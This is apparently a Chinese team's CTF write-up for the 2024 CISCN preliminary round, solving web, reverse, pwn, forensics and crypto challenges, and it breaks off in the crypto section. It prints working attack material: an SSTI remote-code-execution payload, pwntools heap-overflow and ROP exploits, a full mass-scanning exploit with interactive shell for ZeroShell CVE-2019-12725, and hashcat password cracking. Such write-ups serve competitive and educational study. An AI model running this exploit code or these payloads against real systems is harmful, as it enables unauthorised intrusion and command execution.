A1natas 2024 CISCN x 长城杯铁人三项 初赛 WriteUp

附件链接:https://pan.baidu.com/s/1PQNx3li7YF6Hv_FQ0QhcvQ?pwd=xabe

提取码:xabe

Web

hello_web

经典ssrf

有…/hackme.php和…/tips.php

实际上当前目录下也有一个hackme.php和tips.php,所以要目录穿越,然后要双写绕过…/

hackme.php实际就是一个马

反混之后得到马的密码

php7下[转化为_

蚁剑连,绕过disable_functions

find找到flag读取

Safe_Proxy

存在ssti注入 waf的东西不是很多 但是本地设置了代理不出网

直接打一个回显rce就行 过滤的字符可以用set设置变量,字符串里面的直接拼接就行

1
{%set gl='_'*2+'globals'+'_'*2%}{%set bu='_'*2+'builtins'+'_'*2%}{%set im='_'*2+'i''mport'+'_'*2%}{%set ay='so'[::-1]%}{{cycler.next[gl][bu]['ev'+'al']("_"+"_imp"+"ort_"+"_('s"+"ys').modules['_"+"_main_"+"_']._"+"_dict_"+"_['app'].before_request_funcs.setdefault(None,[]).append(lambda:'<pre>{0}</pre>'.format(_"+"_impo"+"rt_"+"_('o"+"s').po"+"pen('cat /flag').read()))")}}

Reverse

rand0m

得到一个 rand0m.pyd 和 generate.py,rand0m.pyd 被去符号了,先随便写一个 py,然后用 python3.12 的 cython 编译

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def check(flag):
   a = 1 * 1
   b = 2 * 2
   c = 2 ^ 3
   a = [0] * 6
   b = 0
   while b:
       print("11")
       b -= 1
   rand0m(flag)
   return a + b + c + flag

def rand0m(x):
   return x ^ 123

__test__ = {}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from setuptools import setup, Extension
from Cython.Build import cythonize

ext_module = [
   Extension(
       name = "test",
       sources=["test.py"],
       extra_compile_args=["/Zi"],
       extra_link_args=["/DEBUG"]
  )
]

setup(
   name="test",
   ext_modules=cythonize(ext_module, annotate=True),
)

python build.py build_ext --inplace,用编译后的 pyd 去和 rand0m.pyd bindiff 恢复符号

第二步去找那个全局调用表_pyx_mstate_global,恢复符号后找到 _Pyx_InitStrings_0,里面有 调用表的初始化,先写几个结构体导入 ida

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
typedef struct {
   __int64 *__pyx_0;
   __int64 *__pyx_1;
   __int64 *__pyx_2;
   __int64 *__pyx_3;
   __int64 *__pyx_4;
   __int64 *__pyx_5;
   __int64 *__pyx_6;
   __int64 *__pyx_7;
   __int64 *__pyx_8;
   __int64 *__pyx_9;
   __int64 *__pyx_10;
   __int64 *__pyx_11;
   __int64 *__pyx_12;
   __int64 *__pyx_13;
   __int64 *__pyx_14;
   __int64 *__pyx_15;
   __int64 *__pyx_16;
   __int64 *__pyx_17;
   __int64 *__pyx_18;
   __int64 *__pyx_19;
   __int64 *__pyx_20;
   __int64 *__pyx_21;
   __int64 *__pyx_22;
   __int64 *__pyx_23;
   __int64 *__pyx_24;
   __int64 *__pyx_25;
   __int64 *__pyx_26;
   __int64 *__pyx_27;
   __int64 *__pyx_28;
   __int64 *__pyx_29;
   __int64 *__pyx_30;
   __int64 *__pyx_31;
   __int64 *__pyx_32;
   __int64 *__pyx_33;
   __int64 *__pyx_34;
   __int64 *__pyx_35;
   __int64 *__pyx_36;
   __int64 *__pyx_37;
   __int64 *__pyx_38;
   __int64 *__pyx_39;
} __pyx_mstate_me;

struct __Pyx_StringTabEntry
{
   __int64 p, s, n, encoding;
   __int8 is_unicode, is_str, intern;
   __int8 b1, b2, b3, b4, b5;
};

导入后手动设置类型,可以恢复大部分 _Pyx_InitStrings_0

之后手动 重建结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
typedef struct {
   __int64 *__pyx_d;
   __int64 *__pyx_b;
   __int64 *__pyx_cython_runtime;
   __int64 *__pyx_empty_tuple;
   __int64 *__pyx_empty_bytes;
   __int64 *__pyx_empty_unicode;
   __int64 *__pyx_CyFunctionType;
   __int64 *__pyx_wenhao;
   __int64 *__pyx_asyncio_coroutines;
   __int64 *__pyx_check;
   __int64 *__pyx__class_getitem__;
   __int64 *__pyx_cline_in_traceback;
   __int64 *__pyx_delta;
   __int64 *__pyx_enc;
   __int64 *__pyx_flag;
   __int64 *__pyx_i;
   __int64 *__pyx__is_coroutine;
   __int64 *__pyx___main__;
   __int64 *__pyx___name__;
   __int64 *__pyx_rand0m;
   __int64 *__pyx_rand0m_pyx;
   __int64 *__pyx_range;
   __int64 *__pyx_ret;
   __int64 *__pyx_right;
   __int64 *__pyx_seed;
   __int64 *__pyx_sum;
   __int64 *__pyx___test__;
   __int64 *__pyx_tmp;
   __int64 *__pyx_x;
} __pyx_mstate_me_2;

之后可以开始分析了

先看 rand0m 下的 rand0m 方法

找到绑定的函数后

这里是一个字符串转int的函数 等于 int(v0, 16)

这里这个 v8 这么奇怪其实是被上面我们重建的调用表结构体影响了,这里我们要去找全局初始化整数的地方_Pyx_CreateStringTabAndInitStrings

image-20241215172903680

image-20241215173028946

也可以看到确实是 int(v0, 16)

明白这些之后接下来只要循规蹈矩的一点点分析就好了

image-20241215173110636

这两句翻译过来就是

1
2
3
def rand0m_fake(x):
   v6 = x ^ 0x9e3779b9
   v3 = x >> 5

image-20241215173221796

1
v22 = (x << 4) & 0xfa3affff

同样的 rand0m 分析完就是

1

在分析 check 函数

image-20241215173415982

这里新建一个长度为 8 的密文列表,按照上面的方法设置值后得到

1
nums = [0x12287f38, 0x98d24b3a, 0x4a30f74d, 0xe0f1db77, 0x23a1268, 0xadf38403, 0x88108807, 0xd8499bb6]

image-20241215173521660

这里是一个数组切片 分析以下就是8个8个切片去加密

image-20241215173606915

然后获得结果后用 PyObject_RichCompare 去和密文比较

总体就是每次截取8个获得两个密文,然后比较,用 z3 去解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
for i in range(0, 8, 2):
nums = [0x12287f38, 0x98d24b3a, 0x4a30f74d, 0xe0f1db77, 0x23a1268, 0xadf38403, 0x88108807, 0xd8499bb6]

res = [nums[i + 1], nums[i]]

a = BitVec("data", 32)
s = Solver()
dt = ((a << 4) & 0xfa3affff) + (a >> 28)

s.add(And(res[1] - 0x10 <= dt, dt <= res[1] + 0x10))

while s.check() == sat:
module = s.model()
result = module[a].as_long()

chec = rand0m.rand0m(hex(result)[2:])
if chec[0] == res[0] and chec[1] == res[1]:
print(f"{result:#x} {chec[0]:#x} {chec[1]:#x}")
break
s.add(a != result)

这里基偶数有误差,所有放大一点,然后可以解出来 flag

1
2
3
4
0x813a97f3 0x98d24b3a 0x12287f38
0xd4b34f74 0xe0f1db77 0x4a30f74d
0x802ba126 0xadf38403 0x23a1268
0x78950880 0xd8499bb6 0x88108807

拼接以下可以得到 flag

flag{813a97f3d4b34f74802ba12678950880}

cython

exe 解包后有一个 pyc 和 一个 pyd,pyc 有不支持的 opcode 所以直接看字节码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
for i in range(len(flag1) - 3):
b = (ord(flag1[i]) << 24) | (ord(flag1[i + 1]) << 16) | (ord(flag1[i + 2]) << 8) | ord(flag1[i + 3])
value.append(b)
i += 4

key = [102, 108, 97, 103]
flag_encrypt = []

print(value)

for i in range(6):
res = ez.encrypt(value[i], value[i + 1], key[i % len(key)])
flag_encrypt.append(res)

ck = ez.check(flag_encrypt)

翻译过来就是这个

之后逆向 ez.pyd 前面部分同上,恢复符号后重建调用表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
typedef struct {
__int64 *__pyx_d;
__int64 *__pyx_b;
__int64 *__pyx_cython_runtime;
__int64 *__pyx_empty_tuple;
__int64 *__pyx_empty_bytes;
__int64 *__pyx_empty_unicode;
__int64 *__pyx_CyFunctionType;
__int64 *__pyx_kp_s_11;
__int64 *__pyx_V0;
__int64 *__pyx_V1;
__int64 *__pyx_wenhao;
__int64 *__pyx_asyncio_coroutines;
__int64 *__pyx_c_uint32;
__int64 *__pyx_check;
__int64 *__pyx__class_getitem__;
__int64 *__pyx_cline_in_traceback;
__int64 *__pyx_ctypes;
__int64 *__pyx_data;
__int64 *__pyx_delta;
__int64 *__pyx_encrypt;
__int64 *__pyx_ez;
__int64 *__pyx_ez_py;
__int64 *__pyx_flag_encrypt;
__int64 *__pyx_i;
__int64 *__pyx___import__;
__int64 *__pyx__is_coroutine;
__int64 *__pyx_key;
__int64 *__pyx___main__;
__int64 *__pyx___name__;
__int64 *__pyx_range;
__int64 *__pyx___test__;
__int64 *__pyx_total;
__int64 *__pyx_zero_v;
__int64 *__pyx_v1;
__int64 *__pyx_value;
} __pyx_mstate_me_2;


struct __Pyx_StringTabEntry
{
__int64 p, s, n, encoding;
__int8 is_unicode, is_str, intern;
__int8 b1, b2, b3, b4, b5;
};

然后分析 encrypt

其实就是一个魔改 xtea,魔改了 delta 轮数 还有移位数

image-20241215174633527

这里就是

1
ctypes.uint32_t(v0).value

image-20241215174800199

这里是

1
v0 += (((v1 << 3) ^ (v1 >> 6)) + v1) ^ (sum + key[sum & 3]);

image-20241215174855166

这里是

1
v1 += (((v0 << 3) ^ (v0 >> 6)) + v0) ^ (sum + key[(sum >> 11) & 3]);

image-20241215175010327

这里 加了 delta,然后就可以写一个脚本解密了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#include "defs.h"
#include "stdio.h"
#include "stdint.h"

void decipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4])
{
unsigned int i;
uint32_t v0 = v[0], v1 = v[1], delta = 0x54646454, sum = delta * num_rounds;
for (i = 0; i < num_rounds; i++)
{
v1 -= (((v0 << 3) ^ (v0 >> 6)) + v0) ^ (sum + key[(sum >> 11) & 3]);
sum -= delta;
v0 -= (((v1 << 3) ^ (v1 >> 6)) + v1) ^ (sum + key[sum & 3]);
}
v[0] = v0;
v[1] = v1;
}

int main()
{
uint32 v[] = {
874806256, 3846097014, 2954414927, 947032420, 142915619, 250019369
};

uint32 key[] = {
102, 108, 97, 103
};

for (int i = 0; i < 6; i += 2) {
decipher(64, v + i, key);
}

uint8 *ptr = (uint8 *) v;

for (int i = 0; i < 24; i += 4) {
printf("%c%c%c%c", ptr[i + 3], ptr[i + 2], ptr[i + 1], ptr[i]);
}

return 0;
}

flag{bfXtvbVZfRfeqoSXWD}

dump

到手一个 re.exe,随便输入点东西发现会根据你输入的内容给出加密的内容image-20241215175656889

发现是一个单字节加密,直接输入所有可打印字符串导出表

1
2
3
0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#$%&()*+,-./:;<=>?@[\\]^_`{|}~ 

001c1d000000000000001e1f202122232425262728292a2b2c2d2e2f303132333435363702030405060708090a0b0c0d0e0f101112131415161718191a1b000000000000000000000000000000000100000000000000000038003900
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import binascii

s = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#$%&()*+,-./:;<=>?@[\\]^_`{|}~ "
d = list(binascii.unhexlify("001c1d000000000000001e1f202122232425262728292a2b2c2d2e2f303132333435363702030405060708090a0b0c0d0e0f101112131415161718191a1b000000000000000000000000000000000100000000000000000038003900"))

mp = {}

idx = 0
for i in range(len(d)):
mp[d[i]] = s[i]

data = open("flag", "rb").read()

for i in data:
print(mp[i], end="")

flag{MTczMDc~MzQ2Ng==}

这个 ~ 是因为原文里是 00,而加密后是 00 太多了不知道是什么,这个 flag 包裹的内容很像 base64,先随便填一下,很像时间戳,测试后发现 4 以后的数字还有 英文字母都是无效时间戳,随便爆破下,4是正确答案

flag{MTczMDc4MzQ2Ng==}

ezCsky

用file命令可以知道是摩托罗拉的架构

ida自带的架构无法分析,在GitHub上找到反汇编器

https://github.com/MotoFanRu/M-CORE_IDA-Pro/tree/master

加载后可以分析

有很多寄存器操作,有加密特征的就check函数和rc4_crypt

找到key和密文先去赛博厨子试试

一次rc4解密还是得不到密文,猜测前面对明文进行了异或处理,本来打算用flag头得到异或key,结果发现key就是flag本身(前后异或)

写个脚本出

1
2
3
4
5
6
pw=[0x0a,0x0d,0x06,0x1c,0x1f,0x54,0x56,0x53,0x57,0x51,0x00,0x03,0x1d,0x14,0x58,0x56,0x03,0x19,0x1c,0x00,0x54,0x03,0x4b,0x14,0x58,0x07,0x02,0x49,0x4c,0x02,0x07,0x01,0x51,0x0c,0x08,0x00,0x01,0x00,0x03,0x00,0x4F,0x7D]
for i in range(len(pw)-1,0,-1):
pw[i-1]=pw[i-1]^pw[i]
for i in range(len(pw)):
print(chr(pw[i]),end='')
#flag{d0f5b330-9a74-11ef-9afd-acde48001122}

Pwn

anote

show函数直接给heap地址,edit的len长度检查不正确,可以堆溢出,劫持下一个堆块的虚表地址,劫持成后门即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import *
context.update(os = 'linux', arch = 'amd64')
# context.timeout = 5
context.log_level = 'debug'
binary = './note'
elf = ELF(binary, checksec=False)
DEBUG = 0
if DEBUG:
libc = elf.libc
p = process(binary)
else:
# libc = ELF('', checksec=False)
host = '47.94.202.237'
port = '28745'
p = remote(host,port)

sla = lambda delim, data: p.sendlineafter(delim, data)
sa = lambda delim, data: p.sendafter(delim, data)
s = lambda data: p.send(data)
sl = lambda data: p.sendline(data)
ru = lambda delim, **kwargs: p.recvuntil(delim, **kwargs)
io = lambda: p.interactive()
log = lambda name, data: success(f'{name}: {data:#x}')

def cmd(idx):
sla(b"Choice>>", str(idx).encode())


def edit(idx, len, data):
cmd(3)
sla(b"index: ", str(idx).encode())
sla(b"len: ", str(len).encode())
sla(b'content: ', data)

def show(idx):
cmd(2)
sla(b"index: ", str(idx).encode())


backdoor = 0x80489CE

def pwn():
cmd(1)
cmd(1)
show(0)

ru(b'gift: ')

heap_addr = int(ru(b'\n', drop=True), 16)

target = heap_addr + 0x8

edit(0, 0x28, p32(backdoor) + b'a'*0x14 + p32(target))
# gdb.attach(p, "b *0x8048D52")

edit(1, 0x4, b'a')

# pause()
io()
pwn()

avm

offset检查不正确,导致越界store,越界load,打rop即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
from pwn import *
context.update(os = 'linux', arch = 'amd64', log_level='debug')
# context.timeout = 5
context.terminal = ['tmux', 'split', '-h']

filename = "pwn_patched"
libcname = "/home/enllus1on/.config/cpwn/pkgs/2.35-0ubuntu3.8/amd64/libc6_2.35-0ubuntu3.8_amd64/lib/x86_64-linux-gnu/libc.so.6"
host = "39.106.48.123"
port = 29826

elf = ELF(filename, checksec=False)

if libcname:
libc = ELF(libcname, checksec=False)

gs = '''
b main
set debug-file-directory /home/enllus1on/.config/cpwn/pkgs/2.35-0ubuntu3.8/amd64/libc6-dbg_2.35-0ubuntu3.8_amd64/usr/lib/debug
set directories /home/enllus1on/.config/cpwn/pkgs/2.35-0ubuntu3.8/amd64/glibc-source_2.35-0ubuntu3.8_all/usr/src/glibc/glibc-2.35
'''

def start():
if args.GDB:
p = process(elf.path)
sleep(0.3)
gdb.attach(p, gs)
return p
elif args.REMOTE:
return remote(host, port)
else:
return process(elf.path)

p = start()

sla = lambda delim, data: p.sendlineafter(delim, data)
sa = lambda delim, data: p.sendafter(delim, data)
s = lambda data: p.send(data)
sl = lambda data: p.sendline(data)
ru = lambda delim, **kwargs: p.recvuntil(delim, **kwargs)
io = lambda: p.interactive()
log = lambda name, data: success(f'{name}: {data:#x}')

def store(store_idx, reg_idx, offset) -> bytes:
opcode = 9 << 28
reg_idx = (reg_idx & 0x1f) << 5
offset = (offset & 0xfff) << 16
store_idx = store_idx & 0x1f
return p32(opcode + reg_idx + offset + store_idx)

def load(load_idx, reg_idx, offset) -> bytes:
opcode = 10 << 28
reg_idx = (reg_idx & 0x1f) << 5
offset = (offset & 0xfff) << 16
load_idx = load_idx & 0x1f
return p32(opcode + reg_idx + offset + load_idx)

def subtract(res_idx, reg1_idx, reg2_idx) -> bytes:
opcode = 2 << 28
reg1_idx = (reg1_idx & 0x1f) << 5
reg2_idx = (reg2_idx & 0x1f) << 16
res_idx = res_idx & 0x1f
return p32(opcode + reg1_idx + reg2_idx + res_idx)

def add(res_idx, reg1_idx, reg2_idx) -> bytes:
opcode = 1 << 28
reg1_idx = (reg1_idx & 0x1f) << 16
reg2_idx = (reg2_idx & 0x1f) << 5
res_idx = res_idx & 0x1f
return p32(opcode + reg1_idx + reg2_idx + res_idx)


# Your exploit here
# data offset 0x370
# ret_addr 0x118


pay = b''
pay += load(0, 20, 0xd38)
pay += load(1, 20, 0x370)# start offset 0x370
pay += subtract(0, 0, 1)
pay += load(2, 20, 0x378)
pay += load(3, 20, 0x380)
pay += load(4, 20, 0x388)
pay += load(5, 20, 0x390)

pay += add(10, 0, 2)# system
pay += add(11, 0, 3)# binsh
pay += add(12, 0, 4)# pop rdi; ret;
pay += add(13, 12, 5)# ret

pay += store(13, 20, 0x118)
pay += store(12, 20, 0x120)
pay += store(11, 20, 0x128)
pay += store(10, 20, 0x130)

pay = pay.ljust(0x250, b'\x00')
pay += p64(0x29d90) # libc offset
pay += p64(0x50d70) # system
pay += p64(next(libc.search(b'/bin/sh'))) # binsh
pay += p64(0x2a3e5) # pop_rdi_ret
pay += p64(1)
# gdb.attach(p, "bbase 0x181F\n")

sa(b'opcode: ', pay)

# pause()
io()

Misc 威胁检测与网络流量分析

zeroshell_1

CTF-NetA一把梭,实际在HTTP流274的Referer里

zeroshell_2

根据配置文档完成虚拟机配置后可以发现版本为3.9.0,存在CVE-2019-12725漏洞

访问路径后使用如下exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
#!/usr/bin/python3.7
# -*- coding: utf-8 -*-
# @Author : Cr4y0n
# @Software: PyCharm
# @Time : 2021/5/12
# @Github : https://github.com/Cr4y0nXX

import os
import time
import requests
from threading import Lock
from wcwidth import wcswidth as ww
from concurrent.futures import ThreadPoolExecutor, wait
from argparse import ArgumentParser

from colorama import init
init(autoreset=True)

requests.packages.urllib3.disable_warnings()

def rpad(s, n, c=" "):
return s + (n - ww(s)) * c

class ZeroShell_RCE_POC:
vulnName = "ZeroShell_RCE"
vulnNameZh = "ZeroShell防火墙设备RCE远程命令执行"
vulnNumber = "CVE-2019-12725"
vulnTime = "2019-07 ?"
vulnVersion = "ZeroShell < 3.9.0"
vulnPath = "/cgi-bin/kerbynet"
vulnScript = "目标批量验证"
pocAuthor = "Sma11New"
FOFA = 'app="Zeroshell-防火墙"'

def __init__(self):
self.banner()
self.argsClass = self.parseArgs()
self.args = self.argsClass.parse_args()
self.hasVuln = False
self.lock = Lock()
self.start = time.time()
self.run()

def banner(self):
length = 70
logo = r"""
________ ___________ _____
___ __ \______________ /___(_)________ /_
__ /_/ / __ \ ___/_ / __ /__ ___/ __/
_ ____// /_/ / /__ _ /___ / _(__ )/ /_
/_/ \____/\___/ /_____/_/ /____/ \__/
Author:Sma11New
"""
msg = f"""
\033[36m+{"-" * (length + 20)}+\033[0m
| 漏洞名称 | {rpad(self.vulnNameZh, length)} |
| 漏洞时间 | {rpad(self.vulnTime, length)} |
| 漏洞编号 | {rpad(self.vulnNumber, length)} |
| 影响版本 | {rpad(self.vulnVersion, length)} |
| 漏洞路径 | {rpad(self.vulnPath, length)} |
| 脚本功能 | {rpad(self.vulnScript, length)} |
| FOFA语句 | {rpad(self.FOFA, length)} |
\033[36m+{"-" * (length + 20)}+\033[0m
""".replace("|", "\033[36m|\033[0m")
print("\033[93m" + logo + "\033[0m")
print(msg)

# 初始化环境
def init(self):
print(f"\033[36m[*] Thread: {self.args.thread}\033[0m")
print(f"\033[36m[*] Timeout: {self.args.timeout}\033[0m")
msg = ""
if os.path.isfile(self.args.file):
msg += "\033[36m[*] Load url file successfully\033[0m\n"
else:
msg += f"\033[31m[-] Load url file {self.args.file} failed\033[0m\033[0m\n"
print(msg)
if "failed" in msg:
print("\033[31[!] Init failed, Please check the environment.\033[0m\n")
exit(0)

def parseArgs(self):
date = time.strftime("%Y-%m-%d_%H-%M-%S", time.localtime())
parser = ArgumentParser(description="\033[31mNotice:You Must To Use One Of -u/-f\033[0m")
parser.add_argument("-u", "--url", required=False, type=str, help=f"The target url")
parser.add_argument("-f", "--file", required=False, type=str, metavar="URLFILE", help=f"The target url file")
parser.add_argument("-t", "--thread", required=False, type=int, default=32, help=f"Number of thread, default is 32")
parser.add_argument("-T", "--timeout", required=False, type=int, default=3, help="request timeout(default 3)")
parser.add_argument("-o", "--output", required=False, type=str, metavar="FILENAME", default=date, help="Vuln url output file, default is {date}.txt")
parser.add_argument("--attack", required=False, action="store_true", default=False, help="Use this parameter to attack a URL")
return parser

# 处理url格式
def parseURL(self, url):
newURL = url
if "http://" not in newURL and "https://" not in newURL:
newURL = f"http://{newURL}"
newURL = newURL.replace("http://", "https://")
return newURL

# 加载url地址(带http://)
def loadURL(self):
urlList = []
with open(self.args.file, encoding="utf8") as f:
for line in f.readlines():
line = self.parseURL(line.strip())
urlList.append(line)
return urlList

# 验证漏洞
def verify(self, url):
cmd = "echo '1qazxsw23edc'"
repData = self.exploitVuln(url, cmd)
if "1qazxsw23edc" in repData:
msg = f"\033[32m[+] [Vuln] {url}\033[0m"
if self.args.url:
self.hasVuln = True
if self.args.file:
self.lock.acquire()
try:
self.findCount += 1
self.vulnRULList.append(url)
finally:
self.lock.release()
elif "Conn" == repData:
msg = f"\033[31m[!] [Conn] {url}\033[0m"
else:
msg = f"[-] [Safe] {url}"
self.lock.acquire()
try:
print(msg)
finally:
self.lock.release()

# 利用漏洞
def exploitVuln(self, url, cmd):
reqURL = url + "/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0A$cmd$%0A%27".replace("$cmd$", cmd)
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36"
}
try:
rep = requests.get(url=reqURL, headers=headers, timeout=self.args.timeout, verify=False)
# fileData = rep.text
return rep.text
except:
return "Conn"
# try:
# print(fileData)
# result = fileData[:fileData.find("<html>")]
# return result
# except:
# return "Safe"

# 批量验证
def multiVerify(self):
self.findCount = 0
self.vulnRULList = []
executor = ThreadPoolExecutor(max_workers=self.args.thread)
all = [executor.submit(self.verify, (url)) for url in self.urlList]
wait(all)
self.outputResult()

# 单个攻击利用
def attack(self):
# 攻击
while True:
try:
cmd = input("\033[42m" + "Input CMD>" + "\033[0m" + " ")
repData = self.exploitVuln(self.args.url, cmd)
attackResult = list(repData.strip().split("<html>"))[0]
print("\n", attackResult.strip(), "\n")
except KeyboardInterrupt:
print("\n\nBye~\n")
return
except:
print("\nError.\n")

# 依据参数选择模式
def run(self):
if not self.args.file and not self.args.url:
self.argsClass.print_help()
# 单个验证
elif self.args.url:
url = self.parseURL(self.args.url)
self.verify(url)
if self.args.attack:
if self.hasVuln:
self.attack()
# 批量验证
else:
self.init()
self.urlList = self.loadURL() # 所有目标
self.multiVerify()

# 输出结果
def outputResult(self):
print("\nattemptCount:\033[31m%d\033[0m findCount:\033[32m%d\033[0m" % (len(self.urlList), self.findCount))
self.end = time.time()
print("Time Spent: %.2f" % (self.end - self.start))
# 写文件
if self.findCount > 0:
if not os.path.isdir(r"./output"):
os.mkdir(r"./output")
self.outputFile = f"./output/{self.vulnName}_{self.args.output}.txt"
with open(self.outputFile, "a") as f:
for url in self.vulnRULList:
f.write(url + "\n")
print("-" * 20, f"\nThe vulnURL has been saved in \033[36m{self.outputFile}\033[0m\n\n")

if __name__ == "__main__":
ZeroShell_RCE_POC()

输入命令python .\ZeroShell_RCE.py -u http://61.139.2.100/ --attack

然后输入命令find / -type f -name "*flag*"

包上flag头直接提交即可

zeroshell_3

将vmdk直接使用diskgenius挂载,在第二题flag的同目录下找到一个.nginx文件,复制出来

上传微步云沙箱确定是木马病毒,在静态分析的ASCII中看到一个IP地址,直接提交即可

本题也可以直接使用netstat命令

zeroshell_4

第三题的文件名.nginx直接交就行

zeroshell_5

打开前一题的.nginx文件,使用ida32查看字符串发现一串可疑字符,尝试提交flag正确

WinFT_1

可以在常见的系统位置找到可疑的exe

使用微步云沙箱判定为木马,在网络行为中得到域名

双击运行后打开桌面上的火绒剑

得到ip地址和端口

WinFT_2

使用虚拟机内的PCHunter,选择启动,第三个选项,往下拉最后一个找到flag,然后右键导出,另存为1.txt,可以发现flag密文

cyberchef解密得到flag

WinFT_5

CTF-NetA直接梭出压缩包,也可以导出http对象,压缩包被分为两个部分,一部分在client中,一部分在server中,修复后可不报错,但忽略报错也可进行下一步,打开发现有一个压缩包中存在flag.txt,并存在注释时间线关联非常重要


直接得到flag

sc05_1

在excel的三张sheet中找到时间最早的,注意空格修改为下划线,转换成md5即可

Kiwi


伪随机

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#include <stdint.h>
#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>

unsigned char mm[] = { 0xb9,0x48,0x1c,0x58,0x81,0x4f,0x51,0x7d,0x27,0x70,0x33,0x6f,0x79,0x48,0x82,0x21,0x08,0x80,0x79,0x49,0x51,0x52,0x28,0x9b,0x7d,0xbb,0x40,0x67,0x45,0x7a,0x96,0x38,0x3e,0x7d,0x41,0x42,0x86,0x60,0x4f,0x6c,0x3b,0x87,0x2e,0x26,0x72,0x51,0x83,0x80,0x79,0xbd,0x79,0x40,0x67,0x71,0x4a,0xa2,0x98,0x76,0x3a,0x8f,0x68,0xda,0x7f,0x74,0x2a,0x33,0x55,0x8d,0x5e,0x2b,0x39,0x6d,0xbe,0x5f,0x74,0x74,0x7d,0x11,0x8e,0x4b,0x4d,0x99,0x64,0x79,0x63,0xb3,0x73,0xca,0x31,0x90,0xc3,0x77,0x1b,0x6f,0x61,0x52,0x11,0xbc,0xbd,0x86,0xb2,0x78,0x4f,0x7e,0x56,0x8f,0x6c,0x94,0xb4,0x3a,0x7f,0x14,0x4b,0x79,0xb6,0x8c,0xb0,0xad,0x8b,0x67,0x6d,0xd1,0x7a,0x9a,0xa7,0x31,0x74,0x25,0x3e,0x61,0x2e,0x82,0x3d,0x63,0x5e,0x77,0x6b,0x7c,0x3f,0x24,0x65,0x35,0x9f,0x53,0x84,0x92,0x42,0xa0,0x7d,0x66,0x70,0x3b,0xd3,0x65,0xa2,0x6d,0x7f,0x19,0x92,0x7a,0x8c,0xb8,0x6b,0x12,0x18,0x66,0x74,0xc0,0x48,0x64,0x9d,0x0e,0x6f,0x53,0x96,0x49,0x61,0x5d };
unsigned char aIxxeeddsseeeed[11] = {
0x0069, 0x0078, 0x0065, 0x0064, 0x0053, 0x0065, 0x0065, 0x0064,
0x0000, 0x0000, 0x0000
};
//wchar_t* v12 = (wchar_t*)mm;

int main()
{

wchar_t v5 = 70;
int v6 = 0;
int64_t v7 = 0;
int v8 = 1;
do
{
v6 = (v6 + v8 * v5) % 256;
v5 = aIxxeeddsseeeed[v7++];
++v8;
} while (v5);
srand(v6);
// v13=0;

// do
// {
// *v12 = v6 ^ (*(unsigned short *)((char *)v12)- (rand() % 128) );
// printf("%c", (unsigned char)*v12);
// ++v12;


// }
// while ( v13<176 );


for (int i=0;i<188;i++)
{
mm[i] -= (rand() % 128);
printf("%c", v6^mm[i]);
}


}

使用hashcat跑rockyou进行爆破,包上flag头提交

1
.\hashcat.exe -m 1000 23d1e086b85cc18587bbc8c33adefe07 .\rockyou.txt

Crypto

rasnd

1
2
3
4
5
6
7
8
9
10
11
➜  67300  nc 8.147.133.224 24638
==================================================================
26431208729444714023658171519567999611655156163666012461049377852754522364967983334888008719169005067132147457768145650432224601627572396711625740992434441502981404085906974043449692385194523725663285381805341752664655843649525267244306284262782760081144936989568445791452171942309762572110024693191466625296798707442953800544083663459059607487968090942333009755531218995107857576848493115570943076327104093937764106177027114753702492658138243770682404261523142313860233316535573423753816665712808112231455199413993508133831121471131906694009124041404243156970894355864766787488671710960092926014349891982419011949171
